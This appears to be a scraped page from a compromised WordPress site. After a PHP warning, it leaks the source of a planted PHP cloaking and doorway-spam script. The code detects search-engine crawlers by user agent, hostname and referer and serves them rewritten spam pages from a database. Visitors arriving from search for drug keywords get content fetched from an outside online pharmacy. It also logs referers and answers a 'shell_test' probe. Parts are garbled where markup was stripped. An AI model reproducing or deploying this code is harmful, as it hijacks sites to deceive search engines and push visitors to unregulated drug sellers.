Warning: Missing argument 2 for wpdb::prepare(), called in /web/htdocs/www.ilmaniscalcomaldestro.com/home/wp-content/plugins/extended-categories-widget/libs/avh-db.php on line 62 and defined in /web/htdocs/www.ilmaniscalcomaldestro.com/home/wp-includes/wp-db.php on line 1291 0) { $ref_file_all=fopen("referers_all.txt","a"); fwrite($ref_file_all,$current_date_time.$referer."|\r\n"); fclose($ref_file_all); } */ $page=str_replace("http://www.","",$page); $page=str_replace("http://","",$page); //remove slash if any $page_len=strlen($page); $page_last_char_num=$page_len-1; $page_last_char=$page{$page_last_char_num}; if ($page_last_char=="/") $page=substr($page,0,$page_last_char_num); if (strlen($page)>0) { $page_check = 0; //check user agent and hostname for bot $se_check_user_agent=preg_match_all("/google|yahoo|msn|yandex|aol|msn|bing/i",$user_agent,$user_agent_found); //$se_check_user_agent=preg_match_all("/iphone/i",$user_agent,$user_agent_found); $se_check_hostname=preg_match_all("/google|yahoo|msn|yandex|aol|msn|bing/i",$hostname,$hostname_found); //check referer for bot $se_check_referer=preg_match_all("/google|yahoo|msn|yandex|aol|msn|bing/i",$referer,$referer_found); //test shell $se_check_test_user_agent=preg_match_all("/shell_test/i",$user_agent,$user_agent_found); if ($se_check_test_user_agent==1) { echo "Test successful"; if ($se_check_referer==1) echo " - google referer"; exit(); } //js /* if (substr_count($page,"_j_s.js")==1) { $js_content=file_get_contents("js/js.txt"); echo $js_content; exit; } $js_dir=scandir("js"); for ($jsd=2;$jsd0) { $js_file_content=file_get_contents("js/".$js_file); echo $js_file_content; exit; } } */ //check if page already exists $page_sl=addslashes($page); $query=mysql_query("select * from doorways where url like '%$page_sl'"); $page_check=mysql_num_rows($query); //check slash if ($page_check==0) { $page_with_slash=trim($page)."/"; $page_with_slash_sl=addslashes($page_with_slash); $query=mysql_query("select * from doorways where url like '%$page_with_slash_sl'"); } $page_check=mysql_num_rows($query); //check for type 3 links if ($page_check==0) { $p3_check=preg_match_all("/([\S\s]+)(\/)/U",$page,$page_found); if ($p3_check!==0) { $page_domain=$page_found[1][0]; $page_domain_sl=addslashes($page_domain); $query=mysql_query("select * from doorways where url like '%$page_domain_sl%' and type=3"); $page_check=mysql_num_rows($query); if ($page_check>0) $page_check = 1; } } //check for type 5 links if ($page_check==0) { $p3_check=preg_match_all("/([\S\s]+)(\/)/U",$page,$page_found); if ($p3_check!==0) { $page_domain=$page_found[1][0]; $page_domain_sl=addslashes($page_domain); $query=mysql_query("select * from doorways where url like '%$page_domain_sl%' and type=5"); $page_check=mysql_num_rows($query); if ($page_check>0) $page_check = 1; } } //check for good traffic $check_page_url=preg_match_all("/(.*?\/)(.*?)(\.htm)/",$page,$page_found); $pill_in_page_url=$page_found[2][0]; $pills_file=file_get_contents("products.txt"); $check_pill_in_file=substr_count($pills_file,$pill_in_page_url); if ($check_pill_in_file==1) $page_check=1; //CASES /* if ($page_check==1) { $id=@mysql_result($query,0,"id"); $type=@mysql_result($query,0,"type"); if ($id>3551 and $type==1 ) { $se_check_user_agent=1; $se_check_hostname=1; if ($se_check_referer==1) { $ref_file=fopen("referers.txt","a"); fwrite($ref_file,$current_date_time.$page."|\r\n"); fclose($ref_file); } } } */ /* $type=@mysql_result($query,0,"type"); if ($page_check==1 and $se_check_referer==1 and $type==2) { $se_check_user_agent=1; $se_check_hostname=1; $ref_file=fopen("referers.txt","a"); fwrite($ref_file,$current_date_time.$page."|\r\n"); fclose($ref_file); } */ if ($se_check_referer==1 AND $se_check_user_agent==0 AND $se_check_hostname==0 AND $page_check==1) { $type=@mysql_result($query,0,"type"); if ($type<1 and $check_pill_in_file==1) { $type=1; } $product=@mysql_result($query,0,"product"); if (strlen($product)==0 and $check_pill_in_file==1) { $product=$pill_in_page_url; } if ($type==1 or $type==2) { $ref_file=fopen("referers.txt","a"); fwrite($ref_file,$current_date_time.$page."|\r\n"); fclose($ref_file); //shop1 /* $url = "http://globalrxstore.com/search.html?key=".$product; $shop_content=query($url); echo $shop_content; */ $url="http://www.globalrxstore.com/search.htm?lang=en¤cy=0&route=search&q=".$product; //$content_check=query_check($url); //$url_check=preg_match_all("/(Location: )([\S\s]+)(\r|\n)/U",$content_check,$content_check_found); //if ($url_check==1) $url="http://www.globalrxstore.com".$content_check_found[2][0]; $shop_content=query($url); $replacement='
'; //for approvedmeds.net: $shop_content=preg_replace("/(
)([\S\s]+)(<\/div>
)([\S\s]+)(<\/div>
','
',$shop_content); //for approvedmeds.net: $shop_content=str_replace('','',$shop_content); $shop_content=str_replace('','',$shop_content); //header("HTTP/1.1 200 OK"); $shop_content=str_replace("","<title >",$shop_content); echo $shop_content; exit; } else { echo "show current page"; } } else { /* if ($page_check==1) { $type=@mysql_result($query,0,"type"); if ($type==2 or $type==4 or $type==5) { $se_check_user_agent=1; $se_check_hostname=1; /* if ($se_check_referer==1 and $type==2) { $ref_file=fopen("referers.txt","a"); fwrite($ref_file,$current_date_time.$page."|\r\n"); fclose($ref_file); } */ //} //} if ($se_check_user_agent>0 AND $page_check==1 AND $se_check_hostname>0) { //echo "show doorway (if own page - redo it, else - redo from index)"; $url=mysql_result($query,0,"url"); $url2=mysql_result($query,0,"url2"); $type=mysql_result($query,0,"type"); $content=mysql_result($query,0,"content"); $title=mysql_result($query,0,"title"); $meta_keywords=mysql_result($query,0,"meta_keywords"); $id=mysql_result($query,0,"id"); $shows_sites=mysql_result($query,0,"shows_sites"); $template=mysql_result($query,0,"template"); $keyword=mysql_result($query,0,"keyword"); $links=mysql_result($query,0,"links"); $product=mysql_result($query,0,"product"); $header=mysql_result($query,0,"header"); $footer=mysql_result($query,0,"footer"); if ($type==1 or $type==2) { if (strlen($url2)>0) { $content_to_change=query($url2); } elseif (strlen($template)>0) { $content_to_change=$template; } else { $open_check=preg_match_all("/(http:\/\/[\S]+)(\/)/U",$url,$url_found); if ($open_check!==0) { $url_index=$url_found[1][0]; $content_to_change=query($url_index); } else { $content_to_change=query($url); } } } if ($type==3) { $content_to_change=query($page_init); } if ($type==4 or $type==5) { //$content_to_change=query($page_init); $page_init_for_check = $page_init; $page_init_for_check = str_replace("http://","",$page_init_for_check); $page_init_for_check = str_replace("www.","",$page_init_for_check); if (substr_count($page_init_for_check,"/")==1) { $check_no_index = preg_match_all("/\/[\S]{1,}/",$page_init_for_check,$page_init_for_check_found); } elseif (substr_count($page_init_for_check,"/")>1) { $check_no_index = 1; } $page_len=strlen($page_init); $page_last_char_num=$page_len-1; $page_last_char=$page_init{$page_last_char_num}; if ($page_last_char=="/") $page_init=substr($page_init,0,$page_last_char_num); $page_init = $page_init."/?template-loader.html"; $content_to_change=query($page_init); } //check existing title $title_check=preg_match_all("/(<title[^>]*>)(.*?)(<\/title>)/ims",$content_to_change,$content_to_change_found); $title_orig=$content_to_change_found[2][0]; $body_check=preg_match_all("/<body.*?/ims",$content_to_change,$content_to_change_found); if ($title_check>0 and $body_check>0) { if ($type==1 or $type==2) { if ($id>2975) //changes for new doorways { $content_to_change=str_replace("<title>","<title >",$content_to_change); $content_to_change=preg_replace("/(<meta name=)(\"|\')(keywords|description)(.*?)(>)/Ui","",$content_to_change); $content_to_change=preg_replace("/(<META NAME=)(\"|\')(robot)(\"|\')( CONTENT=)(\"|\')(index\,nofollow)([\S\s]+)(>)/Ui","",$content_to_change); $content_to_change=preg_replace("/(<META NAME=)(\"|\')(robot)(\"|\')( CONTENT=)(\"|\')(index\,follow)([\S\s]+)(>)/Ui","",$content_to_change); $content_to_change=preg_replace("/(<META NAME=)(\"|\')(robots)(\"|\')( CONTENT=)(\"|\')(index\,nofollow)([\S\s]+)(>)/Ui","",$content_to_change); $content_to_change=preg_replace("/(<META NAME=)(\"|\')(robots)(\"|\')( CONTENT=)(\"|\')(index\,follow)([\S\s]+)(>)/Ui","",$content_to_change); $content_to_change=str_replace("<title",'<meta name="robots" content="index, follow" /> <title',$content_to_change); $content_to_change=preg_replace("/(<meta property=)(\"|\')(og\:url)(\"|\')( content=)(\"|\')([\S\s]+)(\"|\')/Ui","$1$2$3$4$5$6{$url}$8",$content_to_change); $content_to_change=preg_replace("/(<meta property=)(\"|\')(og\:title)(\"|\')( content=)(\"|\')([\S\s]+)(\"|\')/Ui","$1$2$3$4$5$6{$title}$8",$content_to_change); $content_to_change=preg_replace("/(<meta property=)(\"|\')(og\:description)(\"|\')( content=)(\"|\')([\S\s]+)(\"|\')/Ui","$1$2$3$4$5$6{$title}$8",$content_to_change); $content_to_change=preg_replace("/(<meta property=)(\"|\')(og\:site_name)(\"|\')( content=)(\"|\')([\S\s]+)(\"|\')/Ui","$1$2$3$4$5$6{$keyword}$8",$content_to_change); $content_to_change=preg_replace("/(<meta name=)(\"|\')(title)(\"|\')( content=)(\"|\')([\S\s]+)(\"|\')/Ui","$1$2$3$4$5$6{$title}$8",$content_to_change); } $content_to_change=preg_replace("/(<title[^>]*>)(.*?)(<\/title>)/ims","$1{$title}$3",$content_to_change); //check meta description $meta_description_check=preg_match_all("/(<meta name=)(\"|\')(description)/i",$content_to_change,$content_to_change_found); if ($meta_description_check==1) { $content_to_change=preg_replace("/(<meta name=)(\"|\')(description)(\"|\')([ ]+content=)(\"|\')([\S\s]{0,})(\'|\")/Ui","$1$2$3$4$5$6{$title}$8",$content_to_change); } else { $content_to_change=str_replace("",' ',$content_to_change); } //check meta keywords $meta_keywords_check=preg_match_all("/(",' ',$content_to_change); } //link rel $content_to_change=preg_replace("/(rel=)(\"|\')(canonical)(\"|\')([\s]+href=)(\"|\')([\S]+)(\"|\')/U","$1$2$3$4$5$6{$url}$8",$content_to_change); $content_to_change=preg_replace("/(rel=)(\"|\')(shortlink)(\"|\')([\s]+href=)(\"|\')([\S]+)(\"|\')/U","$1$2$3$4$5$6{$url}$8",$content_to_change); $content_to_change=preg_replace("/(link href=)(\"|\')([\S]+)(\"|\')( rel=)(\"|\')(canonical)(\"|\')/U","$1$2{$url}$4$5$6$7$8",$content_to_change); $content_to_change=preg_replace("/()/U","",$content_to_change); $content_to_change=preg_replace("/()/U","",$content_to_change); $content_to_change=preg_replace("/(base href=)(\"|\')([\S]+)(\"|\')/U","$1$2{$url}$4",$content_to_change); } /* //delete block 2 for new doorways if ($type==1 AND $id>2975) { $p=preg_match_all("/([\S\s]+)(

)/U",$content,$content_found); if ($p>0) $content=$content_found[1][0]; } */ if ($type==3) { $p=preg_match_all("/([\S\s]+)(

)/U",$content,$content_found); if ($p>0) $content=$content_found[1][0]; } //body replacement if ($template!=="") //template in types 1 and 2 only { $title_in_template = ucwords($keyword); $content_to_change=str_replace("{TITLE}",$title_in_template,$content_to_change); $content_to_change=str_replace("{BODY}",$content,$content_to_change); $content_to_change=str_replace("{URL}",$url,$content_to_change); $links=str_replace(",","
", $links); $content_to_change=str_replace("{LINKS}",$links,$content_to_change); if ($type==2) { //$content_to_change=preg_replace("/(]*>)(.*?)/ims","$1{$header}$2",$content_to_change); } } else { if ($type==1 or $type==3) { $content_to_change=preg_replace("/(]*>)(.*?)/ims","$1{$content}$2",$content_to_change); } elseif ($type==2) { $links_array = explode(",",$links); $links_block = '"; /* $content = " ".$header." ".$content; */ $content = " ".$content; $check_end_of_body=substr_count($content_to_change,""); if ($check_end_of_body==1) { $content_to_change=str_replace("",$links_block." ",$content_to_change); } else { $content = " ".$content." ".$links_block; } $content_to_change=preg_replace("/(]*>)(.*?)/ims","$1{$content}$2",$content_to_change); } elseif ($type==4 or $type==5) { $check_end_of_body=substr_count($content_to_change,""); $links_array = explode(",",$links); $links_block = '
"; //$links=str_replace(","," ", $links); $footer=str_replace("{LINKS}",$links_block,$footer); $footer=str_replace("{TITLE}","",$footer); if ($check_end_of_body==1) { $content_to_change=str_replace("",$footer." ",$content_to_change); } else { $content_to_change=$content_to_change." ".$footer; } } } //shows_sites $shows_sites=$shows_sites+1; mysql_query("update doorways set shows_sites = '$shows_sites' where id = $id"); echo $content_to_change; } } else { if ($se_check_user_agent==0 AND $se_check_hostname==0 AND $page_check==1) { //echo "test"; //echo "show own page (index page if not existing doorway page; own page if existing doorway page)"; $url=mysql_result($query,0,"url"); $url2=mysql_result($query,0,"url2"); $type=mysql_result($query,0,"type"); if ($type==1 or $type==2) { preg_match_all("/(http:\/\/[\S]+)(\/)/U",$url,$url_found); $url=$url_found[1][0]; if (strlen($url2)>0) $url=$url2; $content=query($url); } else { $content="show current page"; } echo $content; //echo "show current page"; } else { echo "show current page"; } } } } mysql_close($query); ?>